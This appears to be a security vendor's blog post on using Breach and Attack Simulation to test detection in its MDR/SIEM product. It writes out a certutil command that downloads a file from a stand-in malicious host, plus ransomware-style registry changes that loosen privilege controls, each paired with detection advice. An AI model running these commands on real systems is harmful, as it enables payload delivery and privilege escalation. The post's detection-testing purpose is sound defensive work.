How can BAS validate SIEM, EDR, and threat detection through automated attack simulations? Get practical examples for QA and security teams.
What is BAS?
Breach and Attack Simulation (BAS) is an innovative cybersecurity approach designed to assess and strengthen an organization’s defenses by mimicking real-world attack scenarios. By continuously simulating various cyber threats – such as phishing attacks, ransomware, and advanced persistent threats – BAS allows companies to identify vulnerabilities and fine-tune their security measures proactively.
Additionally, security measures can be tested and checked. This method not only provides valuable insights into how well an organization would respond during an actual breach but also enables IT teams to prioritize risk management effectively. In an era where cyber threats are ever-evolving, BAS represents a crucial step towards robust cybersecurity resilience.
Breach and Attack Simulation in Quality Assurance
So how can BAS be used in Quality Assurance? The whole idea of a Breach & Attack Simulation is to measure the effectiveness existing defensive measures in a systematic way. As such, every defensive security tool has the opportunity of benefiting from BAS tools.
The Trovent MDR as a Anomaly, Threat and Attack Detection System
One such tool in the Trovent arsenal is the Trovent MDR. Trovent MDR (Managed Detection & Response) is a SIEM (Security Information and Event Management) system that centralizes log data from an organization’s infrastructure (e.g., endpoints, servers, cloud services) and applies advanced analytics to detect suspicious activity. It combines real-time monitoring, threat intelligence, and automated response workflows to identify and mitigate threats. For example, Trovent MDR might flag a PowerShell script attempting to exploit a known vulnerability or a user account exhibiting brute-force login attempts.
Trovent MDR network flow processes log data and network meta data delivered for example by NetFlow – and correlates them using rules or machine learning models. This makes it a critical component for threat detection but also a complex system to test. Ensuring its accuracy, reliability, and performance under real-world attack scenarios is where BAS shines.
Why BAS is a Good Fit for Quality Assurance of Security Measures?
Traditional security testing often relies on manual penetration testing, which is time-consuming, infrequent, and difficult to repeat exactly the same. BAS, on the other hand, offers continuous, automated, and scenario-based validation of defensive measures.
For QA teams, this means:
1️⃣ Proactive Validation
Instead of waiting for a breach to test defenses, BAS validates whether tools like Trovent MDR detect and respond to threats accurately before they occur.
2️⃣ Realistic Attack Vectors
BAS tools replicate attacks using real-world TTPs (e.g., exploiting unpatched software, bypassing firewalls), ensuring QA tests mirror actual threats.
3️⃣ Measurable Metrics
BAS generates quantifiable data (e.g., detection time, false positive rate) to assess the effectiveness of security tools and workflows.
For example, a QA team might use BAS to verify that Trovent MDR correctly flags a simulated ransomware attack and the entire detection pipeline works as intendedd. If the SIEM fails to detect the simulation, the QA team can refine detection rules or adjust alert thresholds.
Automated Testing
To test Trovent MDR using BAS tools, we built a lightweight application that automates simulations via BAS APIs (e.g., triggering phishing or ransomware scenarios) and validates whether the MDR detects and logs the attacks.
The application performs the following key operations:
- Triggers simulate using BAS APIs (e.g., AttackForge, Cymulate, Nemesis).
- Accesses the Trovent MDR’s detection database to check for alerts and log entries.
- Generates a report on detection accuracy, time-to-detect, and required rule adjustments.
Breach and Attack Simulation Use Cases
In the following we will examine two possible use cases that we can test in such a way.
1. Ingress Tool Transfer
Attackers who have compromised a system in an IT infrastructure tend to require custom tools to allow them to further lateral movement in the network. For this adversaries might transfer tools and files onto the compromised system from external sources. Most BAS systems offer a number of use cases for this.
Often these techniques use a strategy called Living-off-the-Land (LoLBins), which means the attacker only uses legitimate binaries to perform their malicious activity. This obviously makes detecting such attacks in the noise of legitimate activities going on on the system difficult. One such binary is the certutil.exe which can be used to download malicious tools.
The usual use case of certutil.exe is to validate a certificate against a trusted root CA. However, attacks can misuse this command to download malicious files using a seemingly legitimate Windows process. Most BAS systems are capable of simulation this by executing the according Windows command-line instruction, such as certutil -verifyctl -split -f https://malicious.file.com/malicious-file
A simple way of detecting this in any SIEM system is to monitor the process executions (i.e. Windows Event ID 4688). By additionally activating the setting Include command line in process creation events in the Group Policy under Administrative Templates > System/Audit Process Creation, you can additionally observe the process arguments, such as -verifyctl and -split. This narrows down the number of false positives considerably, by not just monitoring for a process using the certutil.exe.
Trovent MDR monitors these process creations with a number of pattern-based detection rules identify such executions resulting in attack events which trigger an alert.
2. Malicious Code Execution
Another area where BAS systems can be used to test effectiveness of existing defensive measures by simulating malicious code executions. One such malicious code is the BlackByte Ransomware.
In order to ensure that no actual malicious code is executed on the tested systems, BAS simulates these executions by performing a number of operations that the real ransomware was observed to do in sandboxed testing environments. By saving the existing registry settings beforehand and resetting them after the simulation was executed, these tests do not make any lasting changes to the registry settings!
In the case of BlackByte these are a number of registry modifications such as …
… elevating local privileges: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
… enabling OS to share network connections between different privilege levels: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
By monitoring registry modifications via the Windows Event ID 4657, these modifications can easily be spotted by the MDR and an attack event is created.
Conclusion
BAS is a powerful method to test existing defensive postures with a small footprint and little effort. By automating attack simulations, organizations can continuously validate the effectiveness of their security tools – like SIEMs, endpoint detection systems, and firewalls – without relying on costly manual audits.
Key Use Cases:
- SIEM Systems: Validate detection rules and alert accuracy (e.g. Trovent MDR).
- Endpoint Detection: Test whether EDR tools block simulated malware.
- Hardened Environments: In air-gapped or high-security networks, BAS provides a safe way to test hardening settings against real attacks.
As cyber threats grow more sophisticated, BAS will play an increasingly vital role in Quality Assurance, ensuring security tools remain resilient against evolving attack patterns.
Are you looking for a Managed Detection & Response solution? Or would you like to learn more about how Trovent’s Breach and Attack Simulation works? Contact us! We’d be happy to discuss your needs and provide a demonstration of our solutions.
Micha Eyl has been part of the Trovent team since 2023. As a Security Analyst, he specialises in identifying and mitigating security threats to protect organisations and their data. He has a solid grounding in cybersecurity principles and practices, having obtained a Master’s degree in IT Security from Ruhr University Bochum.